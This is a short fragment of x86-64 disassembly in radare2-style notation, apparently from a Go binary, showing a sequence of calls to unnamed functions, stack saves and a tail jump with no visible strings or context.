call fcn.004372c0
lea rax, [0x004d78b9]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00437580
mov rax, qword [rsp + 0x30]
call fcn.004372c0
call fcn.00436f40
call fcn.00436d60
lea rax, [0x004da0d4]
mov ebx, 0x21
call fcn.00435360
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045f680
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00415360